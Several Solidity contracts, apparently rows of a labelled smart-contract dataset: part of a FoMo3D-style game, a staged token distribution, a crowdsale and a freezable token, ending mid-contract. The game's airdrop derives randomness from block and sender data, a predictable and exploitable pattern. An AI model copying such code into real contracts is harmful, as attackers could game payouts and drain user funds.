function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
round_[_rID].pot = _pot.add(_p3d).add(_com);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
admin.transfer(_com);
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _maskAmount = _p3d/2;
round_[_rID].mask = _maskAmount.add(round_[_rID].mask);
round_[_rID].pot = round_[_rID].pot.add(_p3d.sub(_maskAmount));
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
| 0 | 1,958 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Distribution is Ownable {
using SafeMath for uint256;
uint16 public stages;
uint256 public stageDuration;
uint256 public startTime;
uint256 public soldTokens;
uint256 public bonusClaimedTokens;
uint256 public raisedETH;
uint256 public raisedUSD;
uint256 public weiUsdRate;
BurnableToken public token;
bool public isActive;
uint256 public cap;
uint256 public stageCap;
mapping (address => mapping (uint16 => uint256)) public contributions;
mapping (uint16 => uint256) public sold;
mapping (uint16 => bool) public burned;
mapping (address => mapping (uint16 => bool)) public claimed;
event NewPurchase(
address indexed purchaser,
uint256 sdtAmount,
uint256 usdAmount,
uint256 ethAmount
);
event NewBonusClaim(
address indexed purchaser,
uint256 sdtAmount
);
function Distribution(
uint16 _stages,
uint256 _stageDuration,
address _token
) public {
stages = _stages;
stageDuration = _stageDuration;
isActive = false;
token = BurnableToken(_token);
}
function () external payable {
require(isActive);
require(weiUsdRate > 0);
require(getStage() < stages);
uint256 usd = msg.value / weiUsdRate;
uint256 tokens = computeTokens(usd);
uint16 stage = getStage();
sold[stage] = sold[stage].add(tokens);
require(sold[stage] < stageCap);
contributions[msg.sender][stage] = contributions[msg.sender][stage].add(tokens);
soldTokens = soldTokens.add(tokens);
raisedETH = raisedETH.add(msg.value);
raisedUSD = raisedUSD.add(usd);
NewPurchase(msg.sender, tokens, usd, msg.value);
token.transfer(msg.sender, tokens);
}
function init(uint256 _cap, uint256 _startTime) public onlyOwner {
require(!isActive);
require(token.balanceOf(this) == _cap);
require(_startTime > block.timestamp);
startTime = _startTime;
cap = _cap;
stageCap = cap / stages;
isActive = true;
}
function claimBonus(uint16 _stage) public {
require(!claimed[msg.sender][_stage]);
require(getStage() > _stage);
if (!burned[_stage]) {
token.burn(stageCap.sub(sold[_stage]).sub(sold[_stage].mul(computeBonus(_stage)).div(1 ether)));
burned[_stage] = true;
}
uint256 tokens = computeAddressBonus(_stage);
token.transfer(msg.sender, tokens);
bonusClaimedTokens = bonusClaimedTokens.add(tokens);
claimed[msg.sender][_stage] = true;
NewBonusClaim(msg.sender, tokens);
}
function setWeiUsdRate(uint256 _rate) public onlyOwner {
require(_rate > 0);
weiUsdRate = _rate;
}
function forwardFunds(uint256 _amount, address _address) public onlyOwner {
_address.transfer(_amount);
}
function computeTokens(uint256 _usd) public view returns(uint256) {
return _usd.mul(1000000000000000000 ether).div(
soldTokens.mul(19800000000000000000).div(cap).add(200000000000000000)
);
}
function getStage() public view returns(uint16) {
require(block.timestamp >= startTime);
return uint16(uint256(block.timestamp).sub(startTime).div(stageDuration));
}
function computeBonus(uint16 _stage) public view returns(uint256) {
return uint256(100000000000000000).sub(sold[_stage].mul(100000).div(441095890411));
}
function computeAddressBonus(uint16 _stage) public view returns(uint256) {
return contributions[msg.sender][_stage].mul(computeBonus(_stage)).div(1 ether);
}
function claimTokens(address _token) public onlyOwner {
require(_token != address(token));
if (_token == 0x0) {
owner.transfer(this.balance);
return;
}
ERC20Basic erc20token = ERC20Basic(_token);
uint256 balance = erc20token.balanceOf(this);
erc20token.transfer(owner, balance);
ClaimedTokens(_token, owner, balance);
}
event ClaimedTokens(
address indexed _token,
address indexed _controller,
uint256 _amount
);
}
| 0 | 1,384 |
pragma solidity ^0.4.20;
interface Token {
function transfer(address _to, uint _value) returns (bool success);
}
contract Crowdsale {
address public beneficiary;
uint public softCap;
uint public hardCap;
uint public amountRaised;
uint public deadline;
uint public price;
Token public tokenReward;
mapping(address => uint256) public balanceOf;
bool softCapReached = false;
bool crowdsaleClosed = false;
uint softCapInEther = 500 ether;
uint hardCapInEther = 3200 ether;
uint priceInEther = 0.0002 ether;
uint tokenDecimal = 18;
uint duration = 120 days;
uint startDate = 1524762900;
event GoalReached(address recipient, uint totalAmountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
function Crowdsale(
address ifSuccessfulSendTo,
address addressOfTokenUsedAsReward
) {
beneficiary = ifSuccessfulSendTo;
softCap = softCapInEther;
hardCap = hardCapInEther;
deadline = startDate + duration;
price = priceInEther;
tokenReward = Token(addressOfTokenUsedAsReward);
}
function () payable {
require(!crowdsaleClosed);
require(hardCap >= amountRaised);
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
tokenReward.transfer(msg.sender, amount * 10 ** uint256(tokenDecimal) / price);
FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() { if (now >= deadline) _; }
function checkGoalReached() afterDeadline {
if (amountRaised >= softCap){
softCapReached = true;
GoalReached(beneficiary, amountRaised);
}
crowdsaleClosed = true;
}
function safeWithdrawal() afterDeadline {
if (!softCapReached) {
uint amount = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
if (amount > 0) {
if (msg.sender.send(amount)) {
FundTransfer(msg.sender, amount, false);
} else {
balanceOf[msg.sender] = amount;
}
}
}
if (softCapReached && beneficiary == msg.sender) {
if (beneficiary.send(amountRaised)) {
FundTransfer(beneficiary, amountRaised, false);
} else {
softCapReached = false;
}
}
}
}
| 0 | 894 |
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (address => uint64) internal roots;
mapping (bytes32 => uint64) internal chains;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function getFreezingSummaryOf(address _addr) public constant returns (uint tokenAmount, uint freezingCount) {
uint count;
uint total;
uint64 release = roots[_addr];
while (release != 0) {
count ++;
total += balanceOf(address(keccak256(toKey(_addr, release))));
release = chains[toKey(_addr, release)];
}
return (total, count);
}
function getFreezing(address _addr, uint _index) public constant returns (uint64 _release, uint _balance) {
uint64 release = roots[_addr];
for (uint i = 0; i < _index; i ++) {
release = chains[toKey(_addr, release)];
}
return (release, balanceOf(address(keccak256(toKey(_addr, release)))));
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
bytes32 currentKey = toKey(_to, _until);
transfer(address(keccak256(currentKey)), _amount);
freeze(_to, _until);
Freezed(_to, _until, _amount);
}
function releaseOnce() public {
uint64 head = roots[msg.sender];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
address currentAddress = address(keccak256(currentKey));
uint amount = balances[currentAddress];
delete balances[currentAddress];
balances[msg.sender] += amount;
if (next == 0) {
delete roots[msg.sender];
}
else {
roots[msg.sender] = next;
}
Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal constant returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
uint64 head = roots[_to];
if (head == 0) {
roots[_to] = _until;
return;
}
bytes32 headKey = toKey(_to, head);
uint parent;
bytes32 parentKey;
while (head != 0 && _until > head) {
parent = head;
parentKey = headKey;
head = chains[headKey];
headKey = toKey(_to, head);
}
if (_until == head) {
return;
}
if (head != 0) {
chains[toKey(_to, _until)] = head;
}
if (parent == 0) {
roots[_to] = _until;
}
else {
chains[parentKey] = _until;
}
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
